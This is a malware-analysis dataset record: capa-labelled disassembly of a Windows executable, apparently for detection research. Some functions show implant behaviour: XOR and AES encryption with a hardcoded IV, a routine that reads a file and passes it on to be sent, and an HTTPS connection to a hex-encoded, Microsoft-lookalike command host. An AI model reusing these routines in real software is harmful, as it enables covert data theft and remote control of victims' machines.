joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000cf50
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000cdbb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000cdbb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000cdbb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000cdbb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000cdbb
cmp dword [rcx + 0x84], 0xe
jbe 0x14000cdbb
cmp dword [rcx + 0xf8], 0
je 0x14000cdbb
mov ecx, ebx
call fcn.14000ce6c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000cc48
nop
cmp dword [rbp + 0x20], 0
je 0x14000ce09
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000ce14
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000cd4c
Function at 0x1400121a8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400121d8
xor eax, eax
jmp 0x14001229b
mov rbp, rbx
cmp word [rax], si
je 0x1400121fd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400121e4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400121e0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400120c8
movsxd r14, eax
test eax, eax
jne 0x14001223b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400121d1
mov rcx, r14
call fcn.1400102c0
mov rdi, rax
test rax, rax
jne 0x140012254
xor ecx, ecx
call fcn.14000ebac
jmp 0x140012230
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400120c8
test eax, eax
jne 0x140012285
mov rcx, rdi
call fcn.14000ebac
jmp 0x14001228f
xor ecx, ecx
call fcn.14000ebac
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400158f8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000fa5c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140015982
cmp byte [rbp - 0x21], r15b
je 0x14001597d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400159b8
call fcn.140010534
test eax, eax
jne 0x1400159a4
cmp byte [rbp - 0x21], r15b
je 0x14001599c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400159b8
cmp byte [rbp - 0x21], r15b
je 0x1400159b5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000f8e0
test eax, eax
jne 0x140015a58
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000fa5c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400159f7
cmp byte [rbp - 0x21], r15b
je 0x140015a2c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140015a2c
call fcn.140010534
test eax, eax
jne 0x140015a18
cmp byte [rbp - 0x21], r15b
je 0x140015a11
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140015a2c
cmp byte [rbp - 0x21], r15b
je 0x140015a29
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000f8e0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140015a58
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140015a5b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140015a69
mov rcx, rdi
call fcn.14000ebac
cmp byte [rbp + 0x3f], r15b
je 0x140015a78
mov rcx, qword [rbp + 0x27]
call fcn.14000ebac
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140018800
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140018828
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140018828
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400011bc
Capabilities:
Create directory

Disassembly:
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
invalid
push rax
invalid
invalid

Function at 0x1400011c0
Capabilities:
Create directory

Disassembly:
mov ecx, 0x65
call rax
lea rcx, str.:
lea ecx, str.:

Function at 0x1400011c4
Capabilities:
Create directory

Disassembly:
add bh, bh
ror byte [rax - 0x73], 1
lea ecx, str.:

Function at 0x1400011d0
Capabilities:
Create directory

Disassembly:
add eax, 0x4e7b
xor edx, edx
call rax
ror byte [rax - 0x75], 1
or eax, 0x4e78
js sym.DUI70.dll_public:_void___cdecl_DirectUI::SelectorNoDefault::constructor_void____ptr64
add byte [rax], al

Function at 0x140001224
Capabilities:
Create directory

Disassembly:
push rbx
mov ebp, ebp
sub dword [rax - 0x75], ecx
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rcx
and al, 0x20

Function at 0x140001238
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x48], rdx
mov rdx, qword [rsp + 0x40]

Function at 0x14000123c
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x48], rdx
mov rdx, qword [rsp + 0x40]

Function at 0x14000124c
Capabilities:
Create directory

Disassembly:
mov eax, dword [esp + 0x38]
and eax, 0x4169a3e1
invalid
invalid
mov dword [rsp + 0x54], eax

Function at 0x140001250
Capabilities:
Create directory

Disassembly:
imul eax, dword [rcx - 0x77], 0x4c542444
mov eax, dword [rsp + 0x20]
and al, 0x20

Function at 0x140001264
Capabilities:
Create directory

Disassembly:
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
invalid
push rax
invalid
invalid

Function at 0x1400012a0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x2a8
in al, dx
test al, 2
add byte [rax], al
invalid

Function at 0x1400012a8
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x2a8
in al, dx
test al, 2
add byte [rax], al
invalid

Function at 0x1400012b8
Capabilities:
Terminate process

Disassembly:
and al, 0x7c
mov dword [rsp + 0x2a4], 0x5610dee9
and al, 0xa4
add al, byte [rax]
add cl, ch
ficom word [rax]
push rsi
invalid
invalid
test byte [rax + rcx*4], ah
and al, 0x88
add al, byte [rax]

Function at 0x1400012d0
Capabilities:
Terminate process

Disassembly:
or dword [rcx - 0x77], ecx
rol edi, 1
invalid
and al, 0x7c

Function at 0x1400012e0
Capabilities:
Terminate process

Disassembly:
cwde
add al, byte [rax]
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rbx*4], ah
cwde

Function at 0x1400012e4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x298], 0x2921e42d

Function at 0x1400012f4
Capabilities:
Terminate process

Disassembly:
add byte [r8], r8b
xor eax, eax
mov esi, eax
mov qword [rsp + 0x70], rcx
mov dword [rsp + 0x70], ecx

Function at 0x14000131c
Capabilities:
Terminate process

Disassembly:
add al, byte [rax]
add byte [rax - 0x75], cl
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]

Function at 0x14000134c
Capabilities:
Terminate process

Disassembly:
jl 0x140001392
mov edx, dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
invalid
invalid
Function at 0x140001350
Capabilities:
Terminate process

Disassembly:
ror byte [rax + rax], 0x4c
lea ecx, [rsp + 0x7c]
invalid
mov r10, qword [rsp + 0x60]
invalid

Function at 0x140001358
Capabilities:
Terminate process

Disassembly:
and al, 0x60
mov qword [rsp + 0x38], rcx
mov rcx, r10
mov qword [rsp + 0x30], rdx
mov rdx, r9

Function at 0x1400013dc
Capabilities:
Terminate process

Disassembly:
test byte [rsp + rdx*4], ah
add al, byte [rax]
add byte [rax], al
and byte [rbx - 0x74b7c247], cl
mov ecx, 0x58b483d
add byte [rax], r8b
mov ecx, 7

Function at 0x1400013e0
Capabilities:
Terminate process

Disassembly:
test byte [rsp + rdx*4], ah
add al, byte [rax]
add byte [rax], al
and byte [rbx - 0x74b7c247], cl
mov ecx, 0x58b483d
add byte [rax], r8b
mov ecx, 7

Function at 0x140001660
Capabilities:
Enumerate gui resources

Disassembly:
add byte [rax], al
jmp qword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
ror byte [rcx], 1
invalid
Function at 0x1400037f0
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x80
xor eax, eax
mov dword [rsp + 0x6c], 0x6669cab2
mov r9d, dword [rsp + 0x6c]
xor r9d, 0x6669cab2
mov r10d, r8d
xor r10d, 0xffffffff
mov dword [rsp + 0x7c], r10d
cmp r8d, r9d
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x5c], r8d
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x4c], eax
je 0x1400038a4
mov eax, dword [rsp + 0x4c]
lea rcx, [0x1400252c0]
mov edx, eax
and edx, 0xf
mov edx, edx
mov r8d, edx
mov edx, dword [rsp + 0x6c]
xor edx, 0x6669cab3
mov r9, qword [rsp + 0x50]
mov qword [rsp + 0x40], rcx
mov rcx, r9
mov r10, qword [rsp + 0x60]
mov dword [rsp + 0x3c], edx
mov rdx, r10
mov qword [rsp + 0x30], r8
mov r8d, eax
mov r11, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x30]
movzx r9d, byte [r11 + rsi]
mov dword [rsp + 0x2c], eax
call sym.DUI70.dll_public:_void___cdecl_DirectUI::ScrollViewer::constructor_class_DirectUI::ScrollViewer_const____ptr64____ptr64
mov eax, dword [rsp + 0x2c]
mov r8d, dword [rsp + 0x3c]
add eax, r8d
mov r8d, dword [rsp + 0x5c]
cmp eax, r8d
mov dword [rsp + 0x4c], eax
jne 0x140003832
add rsp, 0x80
pop rsi
ret

Function at 0x140003980
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x48
mov eax, 0x173a69d7
mov edx, 0x4223d576
mov dword [rsp + 0x3c], 0x25b1be8b
sub edx, dword [rsp + 0x3c]
mov dword [rsp + 0x38], edx
mov edx, dword [rsp + 0x38]
add edx, 0x496e9615
mov r8d, dword [rcx + 0x3c]
mov qword [rsp + 0x40], 0x3a880ee1
movsxd r9, r8d
mov r10, rcx
add r10, r9
mov r8d, dword [rcx + r9]
cmp eax, edx
mov qword [rsp + 0x30], r10
mov dword [rsp + 0x2c], r8d
jae 0x1400039f3
xor eax, eax
mov ecx, dword [rsp + 0x2c]
sub ecx, 0x4550
mov edx, eax
mov r8, qword [rsp + 0x30]
cmove rdx, r8
mov rax, rdx
mov dword [rsp + 0x28], ecx
add rsp, 0x48
ret
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3a59ad19
call rax
xor ecx, ecx
mov eax, ecx
add rsp, 0x48
ret
Function at 0x140001e50
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e9a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e9a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e9a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e9a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e9a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e9c
xor al, al
add rsp, 0x28
ret
Function at 0x140001820
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, dword [rdx]
mov r14, rdx
mov rbx, rcx
add edi, 4
mov ecx, edi
mov edx, 1
call fcn.140009b88
mov rsi, rax
test rax, rax
je 0x14000199c
xor ecx, ecx
call fcn.14000a074
mov rcx, rax
call fcn.140009bbc
call fcn.140009b90
mov r8d, eax
mov eax, 0x80808081
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xff
sub r8d, ecx
xor ecx, ecx
inc r8b
mov byte [rsp + 0x38], r8b
call fcn.14000a074
mov rcx, rax
call fcn.140009bbc
call fcn.140009b90
mov r8d, eax
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xfe
sub r8d, ecx
xor ecx, ecx
add r8b, 2
mov byte [rsp + 0x39], r8b
call fcn.14000a074
mov rcx, rax
call fcn.140009bbc
call fcn.140009b90
mov r8d, eax
mov eax, 0x81848da9
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xfd
sub r8d, ecx
xor ecx, ecx
add r8b, 3
mov byte [rsp + 0x3a], r8b
call fcn.14000a074
mov rcx, rax
call fcn.140009bbc
call fcn.140009b90
mov r8d, eax
mov eax, 0x82082083
imul r8d
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0xfc
mov edx, dword [r14]
sub r8d, ecx
add r8b, 4
mov byte [rsp + 0x3b], r8b
mov eax, dword [rsp + 0x38]
mov dword [rsi], eax
test edx, edx
je 0x14000198e
mov r8, rsi
mov rax, rbx
sub r8, rbx
nop word [rax + rax]
mov rcx, rax
sub rcx, rbx
and ecx, 3
movzx ecx, byte [rsp + rcx + 0x38]
xor cl, byte [rax]
mov byte [r8 + rax + 4], cl
inc rax
sub rdx, 1
jne 0x140001970
mov rcx, rbx
mov dword [r14], edi
call fcn.14000a0b4
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400019c0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x78], rax
movups xmm0, xmmword [rcx]
xor edi, edi
mov dword [rsp + 0x58], 0x208
mov rbx, r8
mov dword [rsp + 0x5c], 0x660e
mov r15, rdx
mov qword [rsp + 0x50], rdi
mov ebp, 0x10
mov qword [rsp + 0x40], rdi
lea r9d, [rdi + 0x18]
mov dword [rsp + 0x60], ebp
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
mov dword [rsp + 0x48], 1
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x64], xmm0
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r8d, [rdi + 0x1c]
xor r9d, r9d
mov dword [rsp + 0x20], edi
lea rdx, [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x40]
lea r8, str.abcdefghijklmnop
xor r9d, r9d
lea edx, [rdi + 1]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x48]
xor r9d, r9d
lea edx, [rdi + 4]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x140001b82
mov eax, dword [rbx]
lea edx, [rbp - 0xf]
mov edi, eax
mov r14d, ebp
and edi, 0xf
sub r14d, edi
lea r12d, [rax + 0x10]
add r12d, r14d
mov ecx, r12d
call fcn.140009b88
mov rsi, rax
test rax, rax
je 0x140001b82
mov r8d, dword [rbx]
mov rdx, r15
mov rcx, rax
call fcn.1400096b0
mov rcx, r15
call fcn.14000a0b4
test edi, edi
je 0x140001b3b
mov ecx, edi
mov edx, 1
sub rbp, rcx
mov rcx, rbp
call fcn.140009b88
mov r15, rax
test rax, rax
je 0x140001b82
test r14d, r14d
jle 0x140001b20
mov rdi, rax
mov rcx, rbp
mov eax, 0x41
rep stosb byte [rdi], al
mov ecx, dword [rbx]
mov r8, rbp
add rcx, rsi
mov rdx, r15
call fcn.1400096b0
add dword [rbx], r14d
mov rcx, r15
call fcn.14000a0b4
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x30], r12d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
lea r8d, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140001b82
mov rcx, qword [rsp + 0x40]
add dword [rbx], 0xfffffff0
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rax, rsi
jmp 0x140001b84
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140007e30
add rsp, 0x80
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001c90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, edx
mov rdi, rcx
test edx, edx
jne 0x140001cb9
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x140001cb0
mov r8d, dword [0x1400287a0]
mov eax, r8d
test r8d, r8d
jne 0x140001d07
xor ecx, ecx
call fcn.14000a074
mov rcx, rax
call fcn.140009bbc
call fcn.140009b90
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2710
sub r8d, ecx
inc r8d
mov dword [0x1400287a0], r8d
mov eax, r8d
xor edx, edx
test ebx, ebx
je 0x140001dad
cmp ebx, 0x40
jb 0x140001d8f
movsx eax, al
mov r10d, ebx
and r10d, 0xffffffc0
mov r9d, 0x20
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
nop word [rax + rax]
movdqu xmm0, xmmword [rdx + rdi]
lea eax, [r9 - 0x10]
pxor xmm0, xmm1
movdqu xmmword [rdx + rdi], xmm0
add edx, 0x40
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm1
movdqu xmmword [rax + rdi], xmm0
mov eax, r9d
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm1
movdqu xmmword [rax + rdi], xmm0
lea eax, [r9 + 0x10]
add r9d, 0x40
movdqu xmm0, xmmword [rax + rdi]
pxor xmm0, xmm1
movdqu xmmword [rax + rdi], xmm0
cmp edx, r10d
jb 0x140001d40
mov eax, ebx
cmp edx, ebx
jae 0x140001daf
mov ecx, edx
add rcx, rdi
sub eax, edx
mov edx, eax
nop
xor byte [rcx], r8b
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001da0
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1400029c0
Capabilities:
Get file size

Disassembly:
push rbx
push rdi
sub rsp, 0x48
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rdi, rcx
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002a16
xor r9d, r9d
lea ecx, [rax + 0x29]
xor r8d, r8d
mov rdx, rdi
call fcn.140005880
add rsp, 0x48
pop rdi
pop rbx
ret
mov qword [rsp + 0x60], rbp
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x70], rsi
mov rcx, rbx
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140002b5a
mov rbp, qword [rsp + 0x68]
mov ecx, 0xfffffffe
lea rax, [rbp - 1]
cmp rax, rcx
ja 0x140002b47
mov edx, 1
mov ecx, 0x800
call fcn.140009b88
mov rsi, rax
test rax, rax
je 0x140002b5a
xor r9d, r9d
mov r8, rax
mov edx, 0x800
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r15d, eax
lea ecx, [r15 - 1]
cmp ecx, 0x7ff
ja 0x140002b40
mov ecx, 0x18
call fcn.14000c354
mov rdi, rax
test rax, rax
je 0x140002b5a
mov r8d, dword [0x14002a770]
mov edx, 1
mov rcx, qword [0x14002a760]
mov dword [rax], r8d
inc r8d
mov qword [rax + 0x10], rcx
mov ecx, 0x1000
mov dword [0x14002a770], r8d
mov qword [rax + 8], rbx
mov dword [rax + 4], ebp
mov qword [0x14002a760], rax
call fcn.140009b88
mov r14, rax
test rax, rax
je 0x140002b5a
mov ecx, dword [rdi]
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, dword [rdi + 4]
mov ebx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov r8d, r15d
mov dword [r14], ebx
lea rcx, [r14 + 8]
mov dword [r14 + 4], eax
mov rdx, rsi
call fcn.1400096b0
lea edx, [r15 + 8]
mov r8d, 2
mov rcx, r14
call fcn.140004760
mov rcx, rsi
call fcn.14000a0b4
mov rcx, r14
call fcn.14000a0b4
jmp 0x140002b63
mov ecx, 0x3d
jmp 0x140002b4c
mov ecx, 0x3c
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call fcn.140005880
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
mov r15, qword [rsp + 0x40]
add rsp, 0x48
pop rdi
pop rbx
ret
Function at 0x140003160
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov rdi, r8
mov ecx, dword [rcx]
mov ebx, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
mov edx, 1
lea ecx, [rbp + 1]
call fcn.140009b88
mov rsi, rax
test rax, rax
je 0x14000329d
mov qword [rsp + 0x40], r15
lea rdx, [r14 + 4]
mov r8d, ebp
mov rcx, rax
mov r15d, ebp
call fcn.1400096b0
mov rdx, rdi
mov rcx, rsi
call fcn.14000a18c
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000322e
sub ebx, ebp
mov edx, 1
sub ebx, 4
mov ecx, ebx
mov ebp, ebx
call fcn.140009b88
mov rbx, rax
test rax, rax
jne 0x1400031fc
mov rcx, rsi
call fcn.14000a0b4
mov rcx, rdi
call fcn.14000a21c
jmp 0x140003298
lea rdx, [r14 + 4]
mov r8, rbp
add rdx, r15
mov rcx, rbx
call fcn.1400096b0
mov r9, rdi
mov r8, rbp
mov edx, 1
mov rcx, rbx
call fcn.14000bf50
mov rcx, rdi
call fcn.14000a21c
mov rcx, rbx
jmp 0x14000328b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 1
mov ecx, 0x800
mov ebx, eax
call fcn.140009b88
mov r14, rax
test rax, rax
je 0x140003290
mov ecx, 8
call qword [sym.imp.WS2_32.dll_htonl]
mov ecx, ebx
mov edi, eax
call qword [sym.imp.WS2_32.dll_htonl]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.WS2_32.dll_htonl]
mov edx, ntohl
mov dword [r14], edi
mov rcx, r14
mov dword [r14 + 4], ebx
mov dword [r14 + 8], eax
lea r8d, [rdx + 0x13]
call fcn.140004760
mov rcx, r14
call fcn.14000a0b4
mov rcx, rsi
call fcn.14000a0b4
mov r15, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140003840
Capabilities:
Connect to http server
Create http request

Disassembly:
push rsi
push rdi
push r14
sub rsp, 0x40
mov rsi, rdx
mov rdi, rcx
xor r14d, r14d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rdi], rax
test rax, rax
jne 0x140003878
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
mov r9d, 4
mov qword [rsp + 0x68], rbx
lea r8, [rsp + 0x60]
mov dword [rsp + 0x60], 0x2bf20
mov rcx, rax
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rcx, qword [rdi]
lea r8, [rsp + 0x60]
mov r9d, 4
lea edx, [r9 + 2]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov ecx, 0x28
call fcn.14000c354
mov rbx, rax
test rax, rax
je 0x1400039c8
lea rax, str.75706461746577696e646f77732e6d6963726f736f66742e636f6d
mov qword [rsp + 0x70], rbp
mov qword [rbx], rax
mov rcx, rbx
lea rax, str.5Kwexvd_COquoF0E__0QK_YDgAd_LOqw0kTfo6VU_yfm_8ylz_anZOJuXkft3lh790YqjO_BU8E0mbHu_3RP9_3mbNkyjwaklV9fIHi0o
mov dword [rbx + 8], 0x1bb
mov qword [rbx + 0x10], rax
lea rax, str.2e4d984d905832ab150e44e8f015
mov qword [rbx + 0x18], rax
lea rax, [0x14002a720]
mov qword [rbx + 0x20], rax
call fcn.140005510
mov rcx, qword [rdi]
mov rbp, rax
test rax, rax
je 0x140003994
movzx r8d, word [rbx + 8]
xor r9d, r9d
mov qword [rsp + 0x38], r14
mov rdx, rax
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r14
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rcx, rbp
mov qword [rsi], rax
call fcn.14000a0b4
mov rcx, qword [rsi]
test rcx, rcx
je 0x140003991
mov rdx, rbx
mov dword [0x14002a758], 0x84cc3300
call fcn.140005960
test eax, eax
je 0x1400039af
cmp eax, 2
jne 0x140003988
mov eax, dword [0x140026a58]
mov dword [0x1400287a8], eax
mov dword [0x140026a58], 0x1b7740
mov dword [0x140026a54], r14d
mov rcx, qword [rsi]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rdi]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov rbp, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
mov rcx, rbx
